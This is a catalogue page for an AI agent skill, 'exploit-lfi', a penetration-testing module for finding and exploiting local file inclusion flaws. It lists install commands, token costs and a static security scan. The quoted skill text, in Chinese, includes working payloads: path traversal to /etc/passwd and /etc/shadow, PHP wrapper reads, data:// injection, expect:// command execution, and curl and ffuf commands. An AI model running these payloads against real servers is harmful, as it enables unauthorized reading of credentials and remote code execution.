Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/crazymarky/pentest-skills/exploit-lfinpx skills add crazyMarky/pentest-skills --skill exploit-lfigit clone --depth 1 https://github.com/crazyMarky/pentest-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-lfi)<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-lfi"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-lfi.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00079 | $0.03156 |
| Opus 5 | $0.00039 | $0.01578 |
| Sonnet 5 | $0.00016 | $0.00631 |
| Haiku 4.5 | $0.00008 | $0.00316 |
Grade B, and why
exploit-lfi scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
/root/.ssh/id_rsa Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
description: 本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。 How it starts
The opening of the file, as written. The whole thing — 380 lines — stays where its author put it; the contents beside it link to each section on GitHub.
本地文件包含 (LFI) 检测和利用
概述
本 Skill 专注于本地文件包含 (LFI) 类型漏洞的检测与利用。
LFI 漏洞发生在应用程序将用户输入直接用作文件路径或在未正确验证的情况下包含文件时。攻击者可通过路径遍历或伪协议读取敏感文件、执行任意代码。
与 exploit-file-download 的区别:
- LFI: 参数值被 include() 或保存为文件内容,危害=代码执行 (RCE)
- 文件下载: 参数值用于下载文件到本地,危害=信息泄露
核心功能
1. LFI 漏洞检测
自动识别以下 LFI 特征:
- 参数模式识别:
file、page、include、dir、document、path、content、title等 - 文件包含模式: 参数值被直接用作
include()或require()的文件路径 - 目录遍历模式:
../序列用于遍历目录 - 伪协议利用:
php://filter、php://input、data:、expect://等 - 响应特征分析: 识别 Linux/Windows 文件内容特征
2. 操作系统自动检测
测试时自动识别目标 OS:
| OS | 特征文件 | 测试路径 |
|---|---|---|
| Linux | /etc/passwd 内容:root:x:0:0: |
/etc/passwd, /etc/shadow |
| Windows | C:\Windows\win.ini 内容:[fonts], [extensions] |
C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
3. 常见 LFI Payload
| 类型 | Payload | 适用场景 |
|---|---|---|
| 路径遍历 | ?title=../../../etc/passwd |
基础目录遍历 |
| 伪协议读取 | ?file=php://filter/convert.base64-encode/resource=/etc/passwd |
读取敏感文件源码 |
| 数据注入 | ?file=data://text/plain;base64,PD9waHAgc3l... |
代码注入 |
| 命令执行 | ?file=expect://ls |
RCE(需 expect 扩展) |
4. LFI 利用场景
- 源码读取: 使用
php://filter读取 PHP 源码进行分析 - 配置获取: 读取数据库配置文件获取凭证
- 日志投毒: 通过 LFI 写入日志获取 RCE
- 临时文件: 配合文件上传 getshell
- /proc/self/environ: 通过环境变量注入实现 RCE
工具安装
必备工具
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
使用方式
快速开始
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"
# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
常见测试场景
1. 基础路径遍历
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
What ships with it
14 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
- assets/encoding_bypass_payloads.txt 1.9 KB
- assets/sensitive_files_linux.txt 4.0 KB
- assets/sensitive_files_windows.txt 3.9 KB
- assets/traversal_payloads.txt 1.5 KB
- assets/wrapper_payloads.txt 1.8 KB
- references/bypass_techniques.md 4.5 KB
- references/lfi_techniques.md 5.8 KB
- references/php_wrappers.md 8.3 KB
- references/rce_methods.md 6.8 KB
- scripts/__pycache__/lfi_detector.cpython-314.pyc 17 KB
- scripts/lfi_bypass_tester.py 11 KB runs code
- scripts/lfi_detector.py 13 KB runs code
- scripts/lfi_exploiter.py 15 KB runs code
- scripts/lfi_storage.py 3.1 KB runs code
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 380 lines · 79 tokens per session scan B f9c44184aa18
exploit-lfi is a skill published in the GitHub repository crazyMarky/pentest-skills (303 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 79 tokens to every session and 3,156 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
incident-response-fileanalyser
Static malware reverse-engineering and threat-intelligence triage for unknown files, Windows EXE/PE binaries, scripts, archives, ISOs, JavaScript, PowerShell, documents, and unpacked payloads. Use when a user provides a sample path, hash, filename, or file and asks whether it is malicious, benign, suspicious, contains…
pentest-cve-vulnerability-research-helper
CVE and vulnerability research skill for exact CVE lookup, product/version applicability, exploit maturity, KEV/PoC status, source ranking, contradiction handling, and non-destructive validation guidance.
pentest-web-enumeration
Authorized web enumeration for one or many websites or web applications, including live-target normalization, HTTP and TLS fingerprinting, technology and platform identification, virtual-host discovery, crawling, JavaScript and API endpoint extraction, focused directory and sensitive-file discovery, CMS-specific…
pentest-hacktricks-finder
Support skill for HackTricks technique research, payload ideas, bypasses, prerequisites, caveats, and edge-case behavior across web, network, cloud, and application security topics. Use as owner only when research is the current blocker.
incident-response-bec
BEC and AiTM incident-response skill for suspicious sign-ins, mailbox abuse, forwarding, inbox rules, session theft, token replay, consent abuse, and secondary phishing.
incident-response-main
Defensive incident-response companion for Microsoft Entra ID, Microsoft 365, Defender, and mixed identity or endpoint incidents. Use for sign-in triage, public-IP enrichment, initial scoping, containment planning, and analyst-ready notes.